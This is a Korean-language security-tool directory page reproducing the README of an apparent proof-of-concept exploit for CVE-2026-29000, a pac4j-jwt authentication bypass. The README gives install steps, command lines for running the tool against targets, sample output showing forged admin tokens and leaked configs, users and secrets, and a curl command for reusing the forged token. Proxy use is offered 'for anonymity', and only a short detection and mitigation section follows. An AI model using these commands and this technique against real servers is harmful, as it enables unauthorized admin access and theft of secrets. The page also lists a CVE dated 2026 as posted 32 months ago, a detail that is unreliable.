Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29000-PoC-Exploit — CVE-2026-29000 – pac4j-jwt 인증 우회 (🔥 CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 비밀 정보를 유출합니다. Keep-alive, 프록시, 사용자 지정 JWKS.⚙️ 교육용 PoC 익스플로잇 도구. | Kitploit
도구/GitHubGitHub/tc4dy/cve-2026-29000-poc-exploit
Authentication & AuthorizationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingLearning & EducationRed Teaming
GitHubtc4dy/cve-2026-29000-poc-exploit

CVE-2026-29000-PoC-Exploit

CVE-2026-29000 – pac4j-jwt 인증 우회 (🔥 CVSS 10.0). 공개 키 JWE 래핑을 통한 원클릭 관리자 위조. 구성, 사용자, 비밀 정보를 유출합니다. Keep-alive, 프록시, 사용자 지정 JWKS.⚙️ 교육용 PoC 익스플로잇 도구.

32개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

🚀 CVE-2026-29000 - pac4j-jwt 인증 우회 익스플로잇

Python CVSS License Pentesting

CVE-2026-29000 - JWT alg:none + JWE 암호화를 통한 원클릭 관리자 위조

📌 개요

이 익스플로잇은 pac4j-jwt 라이브러리의 치명적인 CVSS 10.0 취약점인 CVE-2026-29000을 무기화합니다. 서버의 공개 JWKS 키를 추출하고 alg: none으로 암호화된 JWE 토큰을 위조함으로써 완전한 인증 우회를 달성하고 원클릭으로 전체 관리자 권한을 획득합니다.

🔥 주요 기능

  • ✅ 인증 불필요 - 사전 인증 상태에서 악용, 유효한 자격 증명 불필요
  • ✅ 자동 JWKS 탐색 - 15개 이상의 엔드포인트 스캔, 사용자 정의 경로 지원
  • ✅ RSA 키 추출 - 공개 키를 가져와 즉시 JWK→PEM 변환
  • ✅ JWT + JWE 위조 - alg:none JWT를 생성하고 서버 자체 공개 키로 래핑
  • ✅ 전체 관리자 토큰 - ROLE_ADMIN, admin:true, 만료 시간 구성 가능
  • ✅ 인증 우회 - 8개 이상의 보호된 엔드포인트 자동 테스트
  • ✅ 지능형 정보 유출 - 20개 이상의 민감한 API 경로 열거
  • ✅ 세션 유지 - Keep-alive 스레드가 접근 유지
  • ✅ 프록시 지원 - 익명성을 위한 HTTP/HTTPS 프록시
  • ✅ 파일 내보내기 - 위조 토큰 및 유출 데이터를 파일로 저장
  • ✅ 재시도 메커니즘 - 불안정한 연결을 위한 재시도 횟수 구성 가능
  • ✅ 컬러 출력 - 단계별 전문적인 시각적 피드백
  • ✅ 상세 모드 - 문제 해결을 위한 디버그 로깅
  • ✅ 하드코딩된 지연 없음 - 재시도 백오프 및 keep-alive 핑만 사용

🎯 취약한 버전

라이브러리영향을 받는 버전패치된 버전
pac4j-jwt< 5.1.5≥ 5.1.5
pac4j-jwt4.x < 4.5.8≥ 4.5.8
pac4j-jwt3.x < 3.18.6≥ 3.18.6

⚠️ 면책 조항: 이 도구는 승인된 보안 테스트 및 레드팀 업무 전용입니다.

📦 설치

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help

requirements.txt:
text

requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6

🚀 사용법

기본 원샷 익스플로잇

root@kitploit:~
python exploit.py --target https://victim.com:8443

위조 토큰 및 유출 데이터 저장

root@kitploit:~
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt

사용자 정의 JWKS와 상세 모드

root@kitploit:~
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v

프록시 사용 및 Keep-Alive 비활성화

root@kitploit:~
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive

사용자 정의 Keep-Alive 간격

root@kitploit:~
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5

SSL 검증 활성화

root@kitploit:~
python exploit.py -t https://legit.com:8443 --ssl-verify

⚙️ 명령줄 인자

📸 예제 출력

root@kitploit:~
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt

╔══════════════════════════════════════════════════════════════════════════════╗
║     CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit                 ║
║                    The Educational One‑Click Admin Forge                     ║
║                            CVSS 10.0 - CRITICAL                              ║
╚══════════════════════════════════════════════════════════════════════════════╝

[11:23:15] STAGE 1: Acquiring RSA public key from JWKS
[11:23:15] Probing for JWKS endpoint...
[11:23:16] Found JWKS at /realms/master/protocol/openid-connect/certs
[11:23:16] Successfully extracted RSA public key

[11:23:16] STAGE 2: Crafting JWT with alg:none & encrypting into JWE
[11:23:16] Forged JWE token (truncated): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0...
[11:23:16] ✓ Token saved to backdoor.jwe

[11:23:16] STAGE 3: Sending forged JWE as Bearer token
[11:23:17] ✓ Authentication successful! Access granted to /api/users/me

[11:23:17] STAGE 4: Enumerating accessible endpoints & revealing sensitive data
[11:23:18] ✓ Leaked: /actuator/env (status 200)
[11:23:18] ✓ Leaked: /api/users (status 200)
[11:23:18] ✓ Leaked: /api/secrets (status 200)
[11:23:18] ✓ Leaked: /config/server (status 200)
[11:23:18] ✓ Captured 4 sensitive endpoints → saved to leak.txt

[11:23:18] Keep‑alive session active (Ctrl+C to stop)
[11:23:18] Token (JWE) valid for ~1 hour – reforge if expired

🧠 작동 원리

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  STAGE 1: Public Key Acquisition                                │
│  ├── Discover JWKS endpoint (15+ known paths)                  │
│  ├── Fetch JWK containing RSA public key                       │
│  └── Convert JWK → PEM format                                   │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 2: Token Forging                                         │
│  ├── Create JWT with alg: "none"                               │
│  ├── Inject admin claims (ROLE_ADMIN, admin: true)             │
│  └── Encrypt JWT into JWE using server's public key            │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 3: Authentication Bypass                                 │
│  ├── Send JWE as Bearer token                                   │
│  ├── Test 8+ protected endpoints                               │
│  └── Extract session cookie                                     │
├─────────────────────────────────────────────────────────────────┤
│  STAGE 4: Information Exfiltration                              │
│  ├── Enumerate 20+ sensitive API paths                         │
│  ├── Collect configs, users, secrets, environment              │
│  └── Save all to leak file                                      │
├─────────────────────────────────────────────────────────────────┤
│  Keep-Alive: Ping /api/ping every N seconds                     │
└─────────────────────────────────────────────────────────────────┘

🔧 수동 토큰 사용법

악용 후 저장된 JWE 토큰을 curl과 함께 사용하세요:

root@kitploit:~
curl -H "Authorization: Bearer $(cat backdoor.jwe)" https://target.com/api/admin/users

🛡️ 탐지 및 완화

탐지 방법지표
로그 분석감사 로그에 나타나는 alg: none JWT
네트워크 모니터링알 수 없는 IP에서 발생한 JWKS 엔드포인트 요청
버전 확인curl /actuator/info

완화 조치:

root@kitploit:~
pac4j-jwt를 패치된 버전(≥5.1.5, ≥4.5.8, ≥3.18.6)으로 업데이트

JWT 검증기에서 alg: none 지원 비활성화

엄격한 JWE 검증 구현

비정상적인 JWT 구조 모니터링
도구 다운로드
인자약어필수기본값설명
--target-t예-대상 URL (예: https://example.com:8443)
--jwks-k아니요자동 감지사용자 정의 JWKS 엔드포인트 경로
--output-o아니요없음위조된 JWE 토큰을 파일로 저장
--leak-l아니요leaked_TIMESTAMP.txt유출된 데이터를 파일로 저장
--verbose-v아니요False디버그 출력 활성화
--proxy-p아니요없음HTTP/HTTPS 프록시
--user-agent-ua아니요Mozilla/5.0...사용자 정의 User-Agent
--no-keep-alive-아니요False세션 keep-alive 비활성화
--delay-아니요5.0Keep-alive 핑 간격(초)
--max-retries-아니요3실패한 요청당 최대 재시도 횟수
--ssl-verify-아니요FalseSSL 인증서 검증